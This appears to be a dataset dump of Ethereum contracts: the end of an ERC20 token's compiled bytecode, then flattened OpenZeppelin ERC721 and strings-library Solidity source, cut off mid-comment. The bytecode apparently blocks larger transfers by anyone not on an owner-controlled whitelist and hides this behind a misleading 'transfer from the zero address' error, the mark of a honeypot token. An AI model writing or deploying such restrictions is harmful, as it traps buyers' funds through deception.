f1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203949b5c6a9a942a446fd06691ce6a642548ee0ba50749c96a0a0bbe79fee166f64736f6c63430006060033
[ 38 ]
0xf290d6422c64222dabe98c5f4acd646acab6f81f
pragma solidity ^0.4.24; // File: contracts/zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/zeppelin-solidity/contracts/introspection/ERC165.sol /** * @title ERC165 * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ interface ERC165 { /** * @notice Query if a contract implements an interface * @param _interfaceId The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. */ function supportsInterface(bytes4 _interfaceId) external view returns (bool); } // File: contracts/zeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Basic is ERC165 { bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd; /* * 0x80ac58cd === * bytes4(keccak256('balanceOf(address)')) ^ * bytes4(keccak256('ownerOf(uint256)')) ^ * bytes4(keccak256('approve(address,uint256)')) ^ * bytes4(keccak256('getApproved(uint256)')) ^ * bytes4(keccak256('setApprovalForAll(address,bool)')) ^ * bytes4(keccak256('isApprovedForAll(address,address)')) ^ * bytes4(keccak256('transferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) */ bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79; /* * 0x4f558e79 === * bytes4(keccak256('exists(uint256)')) */ bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63; /** * 0x780e9d63 === * bytes4(keccak256('totalSupply()')) ^ * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ * bytes4(keccak256('tokenByIndex(uint256)')) */ bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f; /** * 0x5b5e139f === * bytes4(keccak256('name()')) ^ * bytes4(keccak256('symbol()')) ^ * bytes4(keccak256('tokenURI(uint256)')) */ event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } // File: contracts/zeppelin-solidity/contracts/token/ERC721/ERC721.sol /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Metadata is ERC721Basic { function name() external view returns (string _name); function symbol() external view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } /** * @title ERC-721 Non-Fungible Token Standard, full implementation interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } // File: contracts/zeppelin-solidity/contracts/token/ERC721/ERC721Receiver.sol /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract ERC721Receiver { /** * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` */ bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the contract address is always the message sender. * @param _operator The address which called `safeTransferFrom` function * @param _from The address which previously owned the token * @param _tokenId The NFT identifier which is being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } // File: contracts/zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: contracts/zeppelin-solidity/contracts/AddressUtils.sol /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param _addr address to check * @return whether the target address is a contract */ function isContract(address _addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(_addr) } return size > 0; } } // File: contracts/zeppelin-solidity/contracts/introspection/SupportsInterfaceWithLookup.sol /** * @title SupportsInterfaceWithLookup * @author Matt Condon (@shrugs) * @dev Implements ERC165 using a lookup table. */ contract SupportsInterfaceWithLookup is ERC165 { bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7; /** * 0x01ffc9a7 === * bytes4(keccak256('supportsInterface(bytes4)')) */ /** * @dev a mapping of interface id to whether or not it's supported */ mapping(bytes4 => bool) internal supportedInterfaces; /** * @dev A contract implementing SupportsInterfaceWithLookup * implement ERC165 itself */ constructor() public { _registerInterface(InterfaceId_ERC165); } /** * @dev implement supportsInterface(bytes4) using a lookup table */ function supportsInterface(bytes4 _interfaceId) external view returns (bool) { return supportedInterfaces[_interfaceId]; } /** * @dev private method for registering an interface */ function _registerInterface(bytes4 _interfaceId) internal { require(_interfaceId != 0xffffffff); supportedInterfaces[_interfaceId] = true; } } // File: contracts/zeppelin-solidity/contracts/token/ERC721/ERC721BasicToken.sol /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic { using SafeMath for uint256; using AddressUtils for address; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` bytes4 private constant ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) internal tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) internal tokenApprovals; // Mapping from owner to number of owned token mapping (address => uint256) internal ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) internal operatorApprovals; constructor() public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721); _registerInterface(InterfaceId_ERC721Exists); } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } /** * @dev Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Returns whether the specified token exists * @param _tokenId uint256 ID of the token to query the existence of * @return whether the token exists */ function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf * @param _to operator address to set the approval * @param _approved representing the status of the approval to be set */ function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } /** * @dev Tells whether an operator is approved by a given owner * @param _owner owner address which you want to query the approval of * @param _operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll( address _owner, address _operator ) public view returns (bool) { return operatorApprovals[_owner][_operator]; } /** * @dev Transfers the ownership of a given token ID to another address * Usage of this method is discouraged, use `safeTransferFrom` whenever possible * Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(isApprovedOrOwner(msg.sender, _tokenId)); require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * * Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public { // solium-disable-next-line arg-overflow safeTransferFrom(_from, _to, _tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public { transferFrom(_from, _to, _tokenId); // solium-disable-next-line arg-overflow require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } /** * @dev Returns whether the given spender can transfer a given token ID * @param _spender address of the spender to query * @param _tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); // Disable solium check because of // https://github.com/duaraghav8/Solium/issues/175 // solium-disable-next-line operator-whitespace return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } /** * @dev Internal function to clear current approval of a given token ID * Reverts if the given address is not indeed the owner of the token * @param _owner owner of the token * @param _tokenId uint256 ID of the token to be transferred */ function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); } } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } /** * @dev Internal function to invoke `onERC721Received` on a target address * The call is not executed if the target address is not a contract * @param _from address representing the previous owner of the given token ID * @param _to target address that will receive the tokens * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( msg.sender, _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } // File: contracts/zeppelin-solidity/contracts/token/ERC721/ERC721Token.sol /** * @title Full ERC721 Token * This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 { // Token name string internal name_; // Token symbol string internal symbol_; // Mapping from owner to list of owned token IDs mapping(address => uint256[]) internal ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) internal ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] internal allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) internal allTokensIndex; // Optional mapping for token URIs mapping(uint256 => string) internal tokenURIs; /** * @dev Constructor function */ constructor(string _name, string _symbol) public { name_ = _name; symbol_ = _symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721Enumerable); _registerInterface(InterfaceId_ERC721Metadata); } /** * @dev Gets the token name * @return string representing the token name */ function name() external view returns (string) { return name_; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() external view returns (string) { return symbol_; } /** * @dev Returns an URI for a given token ID * Throws if the token ID does not exist. May return an empty string. * @param _tokenId uint256 ID of the token to query */ function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param _owner address owning the tokens list to be accessed * @param _index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens * @param _index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } /** * @dev Internal function to set the token URI for a given token * Reverts if the token ID does not exist * @param _tokenId uint256 ID of the token to set its URI * @param _uri string URI to assign */ function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); // To prevent a gap in the array, we store the last token in the index of the token to delete, and // then delete the last slot. uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; // This also deletes the contents at the last position of the array ownedTokens[_from].length--; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param _to address the beneficiary that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param _owner owner of the token to burn * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); // Clear metadata (if any) if (bytes(tokenURIs[_tokenId]).length != 0) { delete tokenURIs[_tokenId]; } // Reorg all tokens array uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } } // File: contracts/helpers/strings.sol /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <arachnid@notdot.net> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(".")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(".")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ pragma solidity ^0.4.14; library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private { // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The 